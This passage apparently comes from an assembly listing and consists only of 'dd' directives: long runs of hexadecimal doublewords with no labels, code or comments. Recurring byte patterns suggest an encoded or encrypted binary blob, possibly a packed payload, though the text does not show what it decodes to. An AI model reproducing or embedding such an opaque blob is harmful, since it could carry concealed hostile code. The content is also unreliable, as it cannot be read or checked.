0DA1B8D90h dd 3256AFDEh, 32564658h, 67625EB1h, 3BD76A9Eh, 0B73DD815h dd 6D1E12FFh, 0F25D3937h, 32E0D9BEh, 0BA59AEB1h, 325657A1h dd 3256A058h, 0C54EFFB1h, 268F047Ch, 3A024B9Bh, 34BF423Ah dd 0F5565DB1h, 0D589FFFFh, 0B45902C1h, 3256ABB9h, 325455BEh dd 5336EAB1h, 0B1B1E74Eh, 0BC59BCABh, 32565DB0h, 0B159F34Dh dd 325657B0h, 3E239048h, 323051BEh, 0B059EAB1h, 325675A2h dd 3256B458h, 0A5927AB1h, 2E170DCDh, 74203Fh, 54E34F98h dd 0B459CB3Ah, 3256EAB9h, 3254FBBEh, 5336BAB1h, 3DA6BA31h dd 3256AF3Dh, 2CDCAEB1h, 3ADFA448h, 3D56D5B1h, 3256E83Dh dd 0B23715B1h, 3DAA4A52h, 3256563Eh, 0B559CEB1h, 325657B1h dd 538520D7h, 32707759h, 0D5BF16B1h, 0CBA98A4Fh, 52AAC738h dd 0CEAED6D7h, 325947D0h, 0EC1257B1h, 9234D7F9h, 0B2260EA3h dd 0CB6293D4h, 0C4FD9DC7h, 0BC59454Eh, 32565DA1h, 3256A558h dd 39BDA5B1h, 7BE511EAh, 3D5C769Eh, 325303EAh, 654875B1h dd 6D6A9DB0h, 35D75244h, 3D56AEB1h, 3256563Ch, 0C7085EB1h dd 52AA903Ah, 3256E258h, 0A34493B1h, 927DFCEDh, 325AB4F4h dd 1AB1AEB1h, 15D267A1h, 0E8E8E0F8h, 0FB3795BDh, 325765BEh dd 0F0AF75B1h, 0DB36BABDh, 32565DBDh, 18B4B770h, 0F34E13CDh dd 7712AC65h, 325650BEh, 6737EAB1h, 0F3E615D1h, 0FC9B6530h dd 0DB37550Fh, 3256AEBFh, 47099A5Fh, 14AA0065h, 0F09DB3C9h dd 0B9370471h, 8401155Dh, 3CBFE3E4h, 85565DB1h, 36E4DF4Eh dd 0E009ADEh, 91529DD8h, 0F6D5B478h, 3D011349h, 32567432h dd 0DB004FB1h, 32565DB9h, 34E034C8h, 0D249C87h, 0C70552E0h dd 32AE9076h, 5256EAB1h, 3D94FED1h, 3256BA32h, 0C2D73CB1h dd 1B2C9092h, 35D490D0h, 3350B137h, 0DB56D5B1h, 3256EAB4h dd 3693335Fh, 3A233159h, 2CDD3B44h, 3251474Dh, 0F9BD57B1h dd 0B382D020h, 69EC5EE1h, 0DB50F032h, 325675B4h, 92CE314Ah dd 6DDDA1D9h, 0E95D57B9h, 32D7D3BEh, 0BD59ABB1h, 3256D5BAh dd 0F1DD8CD1h, 61ED8330h, 937F68Ah, 0DD3526Fh, 0C756AEB1h dd 3D5A0A3Ah, 3256BC34h, 23DBDAB1h, 0DB56EAB1h, 325675BDh dd 0A617D1EFh, 28EA251Dh, 0C8C6475Dh, 3D5A0838h, 3256AA3Ch dd 0BB5929B1h, 3256EABFh, 32DB7AD1h, 0B356BAB1h, 2143677h dd 0F5D5CFF3h, 33DA58A5h, 0CA56ABB1h, 0CDA95858h, 0BA598A4Eh dd 325675B7h, 325638BEh, 0F9D75DB1h, 696C7E11h, 0C3DD37D0h dd 5437593Ah, 3DBFCB3Ah, 3356EAB1h, 0BF5B23EDh, 93A5B1D2h dd 2FB8D498h, 0B2AAD1AAh, 0B659BF4Ah, 3256A849h, 0C9D6B4D1h dd 0DFD2E558h, 525675B2h, 0ED146D30h, 0B4596B6Bh, 3256AEB3h dd 0B2372C05h, 0B659404Ah, 3256D665h, 3256E358h, 0F1B43DB1h dd 0AF79596Ah, 3EBF2D12h, 0BC56AEB1h, 438D4E09h, 0AA1BA3E7h dd 0B27F0D33h, 0B659084Ah, 32567637h, 0D1AD3A48h, 311AD9BEh dd 0BC59AEB1h, 325657B9h, 32542DBEh, 5336D5B1h, 55AD6BD7h dd 51D27A52h, 0CB56BAB2h, 3DA6BA31h, 3256B634h, 3245BEB1h dd 4DF9ABB1h, 0F4C8A6D9h, 0E14D1B15h, 9B76F4F5h, 0E6BFE25Ah dd 0C9D73B1Eh, 0B6592EBEh, 325654EDh, 32472FBEh, 3EBFD5B1h dd 2856EAB1h, 38A89794h, 0D49FB3ADh, 0B2545C09h, 0B2AF5E52h dd 0B659274Ah, 3256A889h, 3256C658h, 8C5084B1h, 0A28512DEh dd 0F36EE295h, 6659E5C5h, 6286009Ah, 2CDD314Dh, 0C0E414D1h dd 3D36CD82h, 3256EA3Eh dd 0B23714B1h, 21BF4252h, 86565DB1h, 0C03C9576h, 0A71D0906h dd 7A025515h, 0B7EE0FB3h, 0C9D6940Ch, 0A8D27A09h, 3D56BAB0h dd 32565539h, 30D2A1B1h, 525657B1h, 37682BD0h, 33D551BEh dd 26BFEAB1h, 5675B1h, 0F11E7105h, 4939DF08h, 326B7FABh dd 0F1E1DA28h, 0B2D3A66Fh, 0B659F88Fh, 3256EBD0h, 32566458h dd 906ED9B1h, 398CDADDh, 0E55F7C79h, 5A3C7EA1h, 0CD60205h dd 70D2DAD9h, 0DB56EAB0h, 325675B9h, 0EC00A5B1h, 468CCB5Bh dd 0B4512C4Eh, 0B15951ABh, 3256ABBDh, 32505DBEh, 0B459EAB1h dd 325675B1h, 3256B058h, 0CE620BB1h, 902D39A8h, 543D466Ch dd 8436B53Ah, 589155A8h, 38DAE5D0h, 0DB5675B1h, 3256BAB4h dd 10D76BBDh, 0CAB12E7Dh, 3251DBBEh, 0BA59ABB1h, 3256D5B0h dd 0C9D78C48h, 0B6599D30h, 3256BA68h, 33D25244h, 0CA56AEB1h dd 0CA48DCD7h, 3DA64C31h, 3256C83Ch, 25D4E5B1h, 0DB5675B1h dd 3256BAA3h, 0B446F3DAh, 0AAA6B1Fh, 46F1F5A4h, 6526C307h dd 0B3302AC2h, 3D966B4Ah, 3256E935h, 3CD6B5B1h, 52565DB1h dd 325627BEh, 0B75957B1h, 3256ABB1h, 67AFB5D0h, 3256E258h dd 86E311B1h, 47FA0515h, 0D5C4A292h, 0CB50B432h, 0B859ABECh dd 3256ABA9h, 3256C658h, 0A58C21B1h, 4EF8AAB3h, 1D732359h dd 0C73FA0FEh, 2382E5BEh, 3DAA1238h, 3256BA3Fh, 35BEB5B1h dd 0C156EAB1h, 0D0FE125Fh, 8408CCD2h, 3D373C4Ch, 3256BF3Dh dd 325ABEB1h, 4203ABB1h, 0BA4598Bh, 8FE0533h, 4FD53A25h dd 0B759BB4Dh, 32565F83h, 325A47D1h, 671257B1h, 127EFC0Eh dd 0E83E0527h, 0C8DD6027h, 0E7ECFED0h, 5250AEB5h, 54ACD6D7h dd 280C7F30h, 39BF07D0h, 0A456ABB1h, 0E6FDF95Fh, 0F2B77B80h dd 0B0DDAEA6h, 344C3CB6h, 54043D49h, 69ACB908h, 538DE0BEh dd 3D669788h, 3256CC3Bh, 324203B1h, 361D75B1h, 3E249C17h dd 5BDE64A9h, 62DAAE1Bh, 0D11CA02Eh, 3D0EE77Dh, 32571433h dd 325C03B1h, 169575B1h, 0C22159Ch, 9C134Fh, 20C7143Ah dd 0B95951A5h, 3256ABBDh, 0C3A96AD1h, 0B3309872h, 53F06A7Eh dd 3256A958h, 0A9085AB1h, 17C92025h, 0A0A49064h, 283CD8C5h dd 0BB7E137Bh, 3AD3E5E1h, 525675B1h, 88300B03h, 0B937F12Bh dd 28D0A933h, 0E6FABB7h, 32534281h, 0F099D5B1h, 0DB8D9A2Dh dd 325675BDh, 811C9D5Eh, 0D98CBA68h, 85A32F42h, 75D958E9h dd 0DB56ABB0h, 3256D5A1h, 6473BCB5h, 1202A395h, 4995F8B3h dd 2231BBBFh, 3256F158h, 855937B1h, 5DECCD4Fh, 7791B40Ch dd 3256E849h, 32469CB1h, 47A2BAB1h, 0F6E8F06Ah, 0DCB7598Dh dd 0A348B5B4h, 7BF01E1h, 3D56D5B1h, 3256E237h, 8A3015B1h dd 5336AA5Ch, 7791A5D0h, 3256AF49h, 0BE5937B1h, 3256ABBCh dd 3256D259h, 0DDB6B7B1h, 2BC50357h, 0F3E9B5E8h, 33D352D0h dd 0CA56AEB1h, 0B10DED3Ah, 5436ADABh, 54033509h, 0CA372B3Ah dd 39AA6A3Ah, 81D2B56Ah, 52565DB1h, 0E6DC3207h, 3D886CD0h dd 3256FD34h, 6FDD2DB1h, 325303BDh, 502B75B1h, 0B126B966h dd 3D56A5CCh, 32568935h, 6F55AFB1h, 0BC595349h, 3256D5ADh dd 32406BBEh, 23BF75B1h, 7356BAB1h, 66D4A196h, 4691498Dh dd 0ECB5AB27h, 8FEAFA9Ch, 3D528A38h, 3256E43Ch, 0E5D715B1h dd 745FA50h, 3256D4BEh, 0B137AEB1h, 0DBA34376h, 0CDA95439h dd 3256D958h, 5984C8B1h, 506ED654h, 82DA5A75h, 3D966E43h dd 3256BD3Ah, 3258BEB1h, 5932ABB1h, 79B71FF6h, 0C89BA1A7h dd 0CDE19CBCh, 32524958h, 33D752B1h, 0CE56AEB1h, 325EDABEh dd 0B659ABB1h, 3256D5B3h, 0B9308BD1h, 33D47AAFh, 0CA56BAB1h dd 3D5A203Ah, 3256B631h, 3245BEB1h, 7083ABB1h, 774B1DBDh dd 7A508A96h, 0DE2DBC05h, 50A8AE9h, 0D9ADDD7Ah, 32092ABEh dd 0BB5957B1h, 3256ABBBh, 0E1D7B3D1h, 0B930A2C9h, 0D1D61442h dd 33D7B541h, 0CE565DB1h, 3D265531h, 3256FF35h, 324442B1h dd 9FB9D5B1h, 328AEBFBh, 9D3E5E7Fh, 32AE04C8h, 6DF2097Bh dd 0C5DDC8D1h, 43BF3644h, 0DB56ABB0h, 3256D5A5h, 0B9D49781h dd 6F87CF50h, 0A892F67Ch, 487432A2h, 7534A30Ch, 0DB51914Dh dd 325E25BEh, 0BA59D5B1h, 3256EAB3h, 759114D1h, 3256BAB0h dd 3259B4B1h, 635EAEB1h, 0EF9E1BC0h, 2DDD7B3Eh, 0AF358ABAh dd 5291617Eh, 8E3BD60Ah, 0BA59DBF7h, 32565DB4h, 0E2DDC8D1h dd 3796D4D0h, 33DCA448h, 0CB56D5B1h, 32551158h, 24D07AB1h dd 0DB56BAB1h, 32565DA0h, 0B6E31A95h, 22E68DBBh, 0E8234659h dd 0BC0E7FA0h, 35918C2Ah, 0DB367DBEh, 3256BABDh, 514718FEh dd 4C0F641Eh, 0B8606050h, 0E0D7CDD1h, 5337FC72h, 0DB36F43Bh dd 325675BDh, 93A05CDEh, 18C7E5E7h, 0CDAFB1B8h, 32565F59h dd 0F1D6B5B1h, 95C4C200h, 690E5E15h, 3DB5F5D0h, 32513EBEh dd 52365DB1h, 2F8E2ED0h, 33D858D0h, 0CB56ABB1h, 0CBD61E31h dd 0DB57B539h, 325675B9h, 5C8CEAD0h, 0EE7FC78Bh, 3254E976h dd 525657B1h, 325325BEh, 0B330D5B1h, 0DB37EC72h, 325675BEh dd 79B981DBh, 0CB165845h, 0D02D795Bh, 53BF61F5h, 0BE596C3Ah dd 3256D5A9h, 3256F958h, 0F5523FB1h, 5B99E77Ah, 0D337FFE6h dd 9BA2E181h, 3EDD6806h, 0DB506B32h, 3256D5A2h, 0C8EA328Eh dd 0C997DCF7h, 91B788DBh, 97D07465h, 0DBCB5CB9h, 325654B9h dd 325C42D1h, 0E173D5B1h, 6151539Fh, 7D685252h, 539E31D7h dd 0A268DCD7h, 64D2A121h, 0CA5657B1h, 3DC69531h, 3256B734h dd 325E03B1h, 5B9D75B1h, 5421E8Ah, 20BF82C2h, 0D56AEB1h dd 4C3183D0h, 9A118256h, 52C57A73h, 83EA4F43h, 4CD713EBh dd 3DC62A4Eh, 32564135h, 1EBF57B1h, 0DB5657B1h, 3256ABA0h dd 971F2C80h, 41F15D30h, 1F50DA7Eh, 0ED457038h, 0CA91D6F8h dd 32542558h, 35D858B1h, 3D56ABB1h, 3256D43Ah, 0BFAA16B1h dd 28D16333h, 23D6B5B7h, 0DB565DB1h, 3256AEBDh, 9A4001F6h dd 0DEA9177Ah, 0DC21AF2Dh, 3DBE8AE1h, 5D5675B1h, 869D9A22h dd 2E19B5D3h, 0AB73F5ADh, 35BE0249h, 4956ABB1h, 356BFB3Eh dd 6A0D4326h, 680E22E2h, 0BF59ECD0h, 32565DB6h, 32572DBEh dd 0CDA357B1h, 28D2AF23h, 0F25D2DB7h, 32606EBEh, 543675B1h dd 0D8E7783Ah, 0CE9ED6D0h, 0B5401C3Ch, 0DBAA51ABh, 3256ABBCh dd 0A0F23C79h, 5635F237h, 0CF8A3994h, 32C15319h, 0B3595DB1h dd 3256AEB9h, 3254D5BEh, 5336ABB1h, 33DADAE7h, 0C756EAB1h dd 0BD59BB3Ah, 3256BAB0h, 0CDAF0848h, 28D54923h, 5436A2B7h dd 6F37503Ah, 53A75ED1h, 325102D1h, 0D84675B1h, 0B72EA179h dd 0B25906CCh, 3256AEB3h, 193736D1h, 3CBFCB7Fh, 8E56D5B1h dd 0DB530524h, 593697CEh, 0A20F6E62h, 8B8EDC3Bh, 5331C534h dd 0BA598E46h, 3256ABBFh, 32D7DAD1h, 3D56EAB1h, 32567537h dd 3D08DBB1h, 32564933h, 3FBFCEB1h, 0D45657B1h, 0E0E57E78h dd 0F6C22C83h, 10F16A13h, 0CA2BF6D0h, 80D3B5B0h, 0DB565DB1h dd 3256AEB7h, 0F199E088h, 7BE60F47h, 32583CD1h, 44A7EAB1h dd 0E73F6835h, 0BED9F3E2h, 49335700h, 32542FBEh, 80E357B1h dd 0B33601D0h, 65654647h, 54371298h, 0DBD37A09h, 3256BAA5h dd 5A703102h, 3ED5BA71h, 184F6E8Ah, 0E082DD70h, 0F43C00Ch dd 0C7FD8C48h, 3310C3BEh, 325E34BEh, 65365DB1h, 90EFC8EAh dd 0DBFD369Eh, 3256ABBFh, 5C94B414h, 9BA81943h, 69FC6718h dd 8DBFEE4Ah, 52565DB1h, 325347D1h, 39E57B1h, 0DA310B8Ch dd 3256D5A3h, 0D002622Fh dd 13236F26h, 48E547F8h, 1D5B6575h, 530FEE56h, 2E56A0Eh dd 0BA59CACBh, 3256D5B0h, 0CA2B6948h, 5ED37AB3h, 0CB56BAB1h dd 0FB5DE5D7h, 0DBFDC848h, 325657BCh, 49EE7BB7h, 0A7FC399Ch dd 3E5B05DCh, 3DEE132Ch, 99304F35h, 325BD3BEh, 8A36AEB1h dd 495DB2DBh, 489F4A30h, 3D37DCA6h, 5257AC07h, 0BD51B30Fh dd 3DFDDBD4h, 32565635h, 325047B1h, 9B7F57B1h, 6ED93223h dd 3256F858h, 324703B1h, 1EF775B1h, 22558D15h, 5D87E1F4h dd 2B6D6E1h, 0C1C0F185h, 32594215h, 574D5B1h, 68ACC2F0h dd 819D8860h, 8ADB3AB9h, 0F5DDA43Fh, 32D9A1D1h, 3D5657B1h dd 3256A938h, 530C82B1h, 3D0F1FEAh, 3256733Ch, 0B930DAB1h dd 0DB37A46Bh, 3256AEA1h, 30D8D65Bh, 7A65EAC1h, 0F10EA08Ah dd 0FD261A38h, 0B33015EFh, 0DAF94C71h, 32565DBBh, 699B3CC4h dd 6B92F665h, 39BF0811h, 5D56D5B1h, 7A7FA4DEh, 83451170h dd 530CDAF6h, 3ED252EEh, 3D56AEB1h, 32565132h, 32D7A4B1h dd 0FB56D5B1h, 0E1E9E5D1h, 32567E59h, 6A9449B1h, 4110A907h dd 0DD25690Dh, 3A9436EFh, 33DFA4B1h, 0C756D5B1h, 54068AE4h dd 6D3D7C0Bh, 3D37493Ah, 32565C3Ch, 0DEDD56B1h, 32564558h dd 9B2F7BB1h, 0A1874DF3h, 0A978EF13h, 0D5F77CF5h, 52CE0AE3h dd 3257DCBEh, 3DAEAEB1h, 32565D33h, 0B930CBB1h, 0E0D7B34Ah dd 0DA374210h, 325675B1h, 86BC3BEBh, 0CE504705h, 32512FBEh dd 653657B1h, 0CBE9A4E9h, 77DD29D0h, 0CEC8AB9h, 3D22189Dh dd 3256B83Eh, 53373DB1h, 0B1E12C38h, 0DBA351ABh, 3256ABB7h dd 8F1C84C2h, 3D376BECh, 32567C36h, 0D9E0DAB1h, 0D7B7DCD7h dd 5336CF07h, 3AD95878h, 3D56ABB1h, 3256D73Bh, 0F0378AB1h dd 67AE75B5h, 28BF3BD1h, 653AB9B5h, 6B8D19BEh, 7BE537D0h dd 557813D7h, 52BA5ED0h, 53896149h, 0DBAEB132h, 3256BAB4h dd 1B214624h, 0DAAECE06h, 325657B1h, 76BC2AEBh, 0DB50CF04h dd 3256EAA0h, 0C95B59C9h, 739D81A7h, 5C0B65C5h, 8C75574Ah dd 0B0593753h, 3256ABB3h, 23BEAC05h, 7856EAB1h, 4ABCD5BBh dd 717D6DEBh, 926DA84Ch, 8D262E44h, 6987E0BEh, 28D9A4D0h dd 3D56D5B1h, 3256FE36h, 32599CB1h, 9704BAB1h, 325A47EDh dd 469BDB2Fh, 5C0A6EB5h, 32464295h, 5839D5B1h, 0B2357E8Fh dd 62C8802Fh, 7FF75540h, 77915E06h, 3256AE49h, 7791AEB1h dd 3256AB4Dh, 0B330B5B1h, 52F46678h, 8D302CE7h, 53373A4Fh dd 0CA966E48h, 0CB4825D7h, 0B451D576h, 3257ADABh, 0BC59D5B1h dd 3256EAAFh, 0DA3715D1h, 3256BAA5h, 0F23A6827h, 90751359h dd 0B6180784h, 8D4FFF04h, 7B3EA07Ah, 0B3308BEBh, 3DC6E54Ah dd 3256B534h, 3BDF52B1h, 5256AEB1h, 310CEED7h, 53A914BEh dd 3DBE2E31h, 3253A935h, 32469CB1h, 992BAB1h, 58597380h dd 0A666AEEFh, 542084BCh, 0DB16BB98h, 3256D5BDh, 28931E3Ah dd 365EB2CAh, 9EC14E3Ch, 0DBADDD48h, 37442ABEh, 0B33657B1h dd 0EB029652h, 0BC9055F3h, 3CBFAAD0h, 75675B1h, 66E75424h dd 0D03798D4h, 549E4193h, 0D9ADD7EAh, 36BC2FBEh, 3CBFD5B1h dd 0BA56EAB1h, 219D9E8h, 9ABBB7Ch, 0DFCE3359h, 0BC59EE54h dd 325657B6h, 325729BEh, 0B2AAD5B1h, 54361A56h, 3D1ED009h dd 3256AA3Dh, 325CB5B1h, 0C9A8AEB1h, 65AB9258h, 0FDC16627h dd 0B330B4EEh, 3DD6E54Ah, 3252EA35h, 33DCB5B1h, 0C7565DB1h dd 2B8F2CB2h, 72AE51A5h, 0D0AD2B4Dh, 363451BEh, 0B836EAB1h dd 0BFB8F552h, 325D53D0h, 7F85DB1h, 0E3222C5h, 935320A6h dd 0D1AD2BBAh, 364451BEh, 0DA36EAB1h, 325675A0h, 0A0E1BCD8h dd 9BA7FFB6h, 55EE323Bh, 0B999D8B3h, 32D6A44Dh, 6956D5B1h dd 0C9D78CD0h, 0B65996D6h, 3256BEA9h, 0C2B5DD4Dh, 32522DBEh dd 523657B1h, 0C9D6CAD0h, 17D2DAC1h, 3D56EAB5h, 32567F3Eh dd 0ACE9DAB1h, 546EFB7Bh, 5437663Ah, 0B2AE493Ah, 3D365352h dd 3256D735h, 0DB9761B1h, 325675A2h, 7B098BCBh, 8D1719A2h dd 963C93D2h, 37A79154h, 535C93CAh, 8AAD554Dh, 30746EBEh dd 0B05975B1h, 3256BAAAh, 3243D0BEh, 22BFAEB1h, 515657B1h dd 67796098h, 0EC2D59h, 0F83258A0h, 3D2EF6D1h, 3256AD35h dd 3244B4B1h, 9E11AEB1h, 0E9A9D6ACh, 7939391Eh, 0D0461FC5h dd 9D173E0Ah, 3D534B31h, 32576135h, 3244B4B1h, 0F2A4AEB1h dd 0DEA1B60Fh, 5F37DDE5h, 0C6FD3B2h, 0A9C61AD8h, 3D7B4B31h dd 32570135h, 33D352B1h, 0CB56AEB1h, 3D3E6931h, 32570035h dd 32463CB1h, 242DEAB1h, 31418D0Ah, 0FF1FEB81h, 0D151D4B1h dd 0B936D90Ah, 3250BE4Bh, 177DABB1h, 0BC15F318h, 20BFAAD0h dd 185675B1h, 63BD8A2Ch, 0E1E140C3h, 6F686B51h, 599817B5h dd 35D454A0h, 0DB50CF37h, 3256EAB8h, 4CC4190Eh, 29C26CD5h dd 2FDF52E5h, 5256AEB1h, 32564758h, 4BD18AB1h, 0C2DC697h dd 0ACD06A0Ah, 96EDE7D2h, 0B1843B25h, 532A4208h, 0DB4825D7h dd 325657A0h, 6282D7ABh, 0D917AD26h, 0F133C841h, 0F32C2BB5h dd 0CAB13A17h, 34DD52D1h, 3D56AEB1h, 3256573Ah, 0B330FBB1h dd 6A317456h, 0C9D78CD0h, 0B6599D30h, 3256BA4Dh, 324ED5BEh dd 21BFAEB1h, 0A75657B1h, 6998DBB8h, 7C58E6EEh, 0F711166Bh dd 0B0A9073Ah, 0B93074B4h, 325CB4AFh, 0BD6CAEB1h, 3C0F6D46h dd 0F5B51825h, 0C2B15548h, 3256E158h, 0A13A9BB1h, 80F7801Eh dd 176EF1E5h, 0B3AD2FD7h, 9FD25871h, 3D56ABB1h, 3256D13Dh dd 72E38AB1h, 21BF15D0h, 0FF56BAB1h, 7B13EA4Eh, 0ABB07608h dd 3EEF720Ah, 9A465B58h, 0BC59E2C4h, 3256EAA4h, 32566558h dd 930C10B1h, 0A8F1F563h, 66EFB3A5h, 0B2EB489Ch, 0C7AFFED9h dd 0B1B1474Eh, 0BC59ECABh, 325675BBh, 0CADDDCD1h, 4579240Eh dd 0DB0BCF9Ch, 325657BAh, 563E91F5h, 2EEECEB9h, 0BB86BDA6h dd 53A389F4h, 3256AE58h, 3ED26AB1h, 0C1C3167Bh, 0AB89B4BAh dd 5B5BD1A3h, 57245C54h, 0CE2B69A2h, 22D37AB0h, 5256BAB7h dd 32564C58h, 7F2FC2B1h, 0B422604Eh, 0D1A455ABh, 2A09AF05h dd 0B33049A3h, 537DB77Ah, 3683003Ah, 39BF5BA5h, 0E956AEB1h dd 1B1C9295h, 0A1BE8D5Dh, 0CA0696BAh, 0B451683Ah, 3EBF73ABh dd 6456BAB1h, 0CFE0DEC7h, 0BB68F7BBh, 0B24C894h, 0B8599B8Dh dd 3256D5BDh, 49EF8CD1h, 32D97A51h, 5356BAB1h, 9AD452E9h dd 0C756AEB4h, 20C7ED3Ah, 62AFADA5h, 325150BEh, 0B459EAB1h dd 325675B0h, 35D4314Dh, 0CE504737h, 0DB669288h, 325657BEh dd 69C36Ah, 67049FD5h, 9FA6168Ch, 52D87604h, 325053E7h dd 14615DB1h, 0E9B3FD80h, 30D658E8h, 5256ABB1h, 3D0EB4D0h dd 3253BC3Eh, 24D97AB1h, 0DB56BAB1h, 32565DA0h, 0CB532F2h dd 280BFE2h, 9D21DA1Bh, 341A528Fh, 5DEC61CDh, 0DB506F32h dd 3256BAB9h, 2E87160Bh, 0B9BA324Fh, 0B139D532h, 5242ADABh dd 3256C459h, 4BFAA9B1h, 5AB293BCh, 5B0CD8CFh, 7F3EB485h dd 8D308749h, 0C70DD9A1h, 526122D0h, 0E2DDB3E2h, 0F0E9E5EFh dd 2211FCD0h, 325A31BEh, 0B4595DB1h, 3256AEB7h, 3256DABEh dd 0B759ABB1h, 3256D5B9h, 32546DBEh, 533675B1h, 325853E1h dd 996C5DB1h, 0A9E2ACDBh, 28B09C4Bh, 17749BEFh, 0B451573Ah dd 0B9AEECABh, 0B83645ADh, 3251525Bh, 6A495DB1h, 0CD3B0B5Ch dd 30E831A6h, 6A37F206h, 0E3B155D1h, 0CA37A805h, 0CA5E2A38h dd 32523458h, 33D252B1h, 0C756AEB1h, 30AE1276h, 3D56ABB1h dd 3256DC3Fh, 0F8DD8AB1h dd 81770B0Fh, 0BBFDBCEh, 3D565DB1h, 3256A132h, 325CBEB1h dd 1AD3ABB1h, 0F79F23EFh, 0D23CAACh, 33AE3076h, 0DB56BAB1h dd 32565DBBh, 166964BCh, 0F7BA2198h, 0BD59C173h, 3256D5B9h dd 325462BEh, 533675B1h, 0B139003Ah, 0BC595BABh, 3256AEB0h dd 5DD4D44Dh, 2650B132h, 325C54BEh, 0B236EAB1h, 0E7EE995Fh dd 5322576Dh, 3ABF6A38h, 3956AEB1h, 0BB7FF642h, 0BB4DB65Fh dd 3ABFC5F6h, 0C056EAB1h, 0FC8DF577h, 0B115737Dh, 0B7595E49h dd 3256AED5h, 32565158h, 0DD5668B1h, 0F5BF4637h, 28D0ED33h dd 325677B7h, 85E2DAB1h, 32564958h, 52E19AB1h, 564F3C47h dd 3FE471Ah, 8C02A1ACh, 0B90F5B9Ch, 0B93614A7h, 0DBFDB7Eh dd 0DB565DB1h, 3256AEA5h, 624FB848h, 0E80987D3h, 0E55EA5C2h dd 657B9638h, 0B28B3E37h, 3256B158h, 3C2938B1h, 5E4F8D93h dd 0EABF5395h, 3D545332h, 3254DE3Ch, 35D0E5B1h, 3D5675B1h dd 3256BB34h, 4FD5A8B1h, 0B659AE49h, 32565705h, 536F19D1h dd 331063BEh, 325B03D1h, 0D93075B1h, 0A62FBF4Eh, 2DE52DF5h dd 0DB50BD52h, 325657B8h, 0C47F0F4Fh, 63D1603h, 0B2FF8B82h dd 3D5675B1h, 32568234h, 3259B4B1h, 75AAAEB1h, 0CD24DC74h dd 0E498AE33h, 45FAF47Fh, 0B1A3AA31h, 26BF7059h, 0ED56BAB1h dd 220F09C4h, 0F097506Ah, 34698BFh, 0A16C5AA4h, 0DB21D2ECh dd 3256EAF3h, 32A95849h, 22BFBAB1h, 0CB565DB1h, 1F2843E2h dd 0D51027C0h, 30979550h, 0B171D3E8h, 0DB36EF59h, 325675BBh dd 0D276F8D0h, 0D24003F9h, 3CBF669Fh, 355657B1h, 817B0BB2h dd 10E8B69Bh, 334FC442h, 1DBF1420h, 0CA56BAB1h, 0A8DDA8E2h dd 344C28B6h, 32565158h, 300243B1h, 0B96BE7DFh, 5236D9B5h dd 69371448h, 325A36BEh, 0B1595DB1h, 3256AEB7h, 3256D8BEh dd 32FFABB1h, 3DD6D5B1h, 32569134h, 3EDA7AB1h, 3D56BAB1h dd 32565B32h, 32DEA1B1h, 315657B1h, 35D0A477h, 3D56D5B1h dd 3256EB36h, 0BC5989B1h, 3256BAB0h, 3796DE4Dh, 0FCD7C8D1h dd 35BE32DAh, 1C56ABB1h, 0B6F4354Bh, 6AAFD938h, 35D476D0h dd 0DB50A037h, 32565DB6h, 0EF4759DDh, 0DB76F06Fh, 3256ABB6h dd 34A073Ch, 7A5A07F8h, 32567358h, 273D18B1h, 0BB7DCF02h dd 0BBA3A6F6h, 0B9365BF6h, 0CEBFCA40h, 0C756D5B0h, 0CB363246h dd 0E5A1F4D7h, 0F47DDB74h, 3ED3BD1h, 0C3D7C862h, 0C537893Bh dd 3FBFCB69h, 3B56D5B1h, 0F2C5E5FCh, 8C791BF8h, 0D999D5E7h dd 3256D6BEh, 0B137AEB1h, 31A35271h, 28D0AC33h, 0C71E29B7h dd 3D5EAD38h, 32567C3Ch, 3DAADAB1h, 32565D3Eh, 75DFCFB1h dd 30D858BDh, 5256ABB1h, 3ABFB5D0h, 0EE56EAB1h, 9784F9ABh dd 0DA7C7E6Dh, 32565DA0h, 4ABB535Ah, 30B7D4A6h, 40E3D988h dd 1BBB8148h, 65896ADCh, 42BF14EFh, 0C756BAB0h, 54369D82h dd 0F3D7503Ah, 78AA0EE9h, 325C42D0h, 0EEFD5B1h, 104986ABh dd 85A77DBBh, 0DB57FC3Bh, 32565DBBh, 0A3995B98h, 0D6C1CB46h dd 0B33660FAh, 0BEA6B441h, 0F33D50A4h, 9A3764CAh, 90D3B531h dd 3D565DB1h, 3256A63Ch, 30DC58B1h, 5256ABB1h, 0C790D6D0h dd 3D542A32h, 3256743Ah, 33ED43B1h, 3D565DB1h, 3256B73Bh dd 3242BEB1h, 0AD57ABB1h, 3692130Fh, 3DA88BB8h, 7F4C8A0Bh dd 0B7A51513h, 0E95D86B7h, 324E2ABEh, 3ABF57B1h, 9856ABB1h dd 0BA71C853h, 0B845BE06h, 2B90312Bh, 0D1D646B7h, 0F155A1B0h dd 76EEC8D1h, 325CBF28h, 0C220ABB1h, 73286CF6h, 0E16F4F00h dd 0DCD25F0Eh, 0BB37E3FFh, 3FBF55F6h, 6756AEB1h, 4D0F1A6Ah dd 0ADDEB423h, 0B23CE40Eh, 0CE5AAD38h, 3256E758h, 8930DAB1h dd 0FADDD175h, 0CA8E59D0h, 3256A894h, 0F47D52B1h, 325351BEh dd 3D36EAB1h, 0C537B70Eh, 5436DA69h, 0B359973Ah, 3256AEB1h dd 36D658D0h, 5456ABB1h, 534DA50Fh, 0DB542A32h, 325675B4h dd 26CFB3FDh, 3A11D4DBh, 3256BC58h, 0A44393B1h, 840E6942h dd 8E259345h, 0C1B99976h, 0BBE8C8F4h, 5236B6F6h, 0B25905E3h dd 3256AEB1h, 3244BED0h, 3973ABB1h, 0E48EDCFCh, 726A35D1h dd 61856D67h, 1DAB379Eh, 0B3363DD0h, 1BE42D61h, 53A7DCF4h dd 0CA372A04h, 324752BEh, 3EBFEAB1h, 1E5675B1h, 0D65A8423h dd 619181DFh, 5328A012h, 325EDEBEh, 0B359ABB1h, 3256D5B3h dd 529F8BD1h, 0F1378949h, 0C0DDDCD1h, 0B8E5E4D7h, 0B659FBD0h dd 325657BDh, 3256AC58h, 0F599AEB1h, 0C181B89Dh, 6536993Ah dd 53099100h, 0CBAA9932h, 0CEECED1h, 0C7679BA2h, 325643D0h dd 0B30CD5B1h, 2896E05Bh, 0BC5915B7h, 3256BAB4h, 0FEA5DCD7h dd 434A17A9h, 0DB376939h, 3256ABA0h, 0C6CCD2CBh, 0E5F540BBh dd 0FC1ABA4Bh, 0DA68EC0Eh, 69ECD6AAh, 5250B432h, 0ECD7A63Ah dd 1D169AB6h, 0C79FE6D0h, 3D56D532h, 3252E035h, 3EDCB5B1h dd 52565DB1h, 4C916D7h, 1A3B130h, 0B937B30Bh, 0B330B5B6h dd 64719358h, 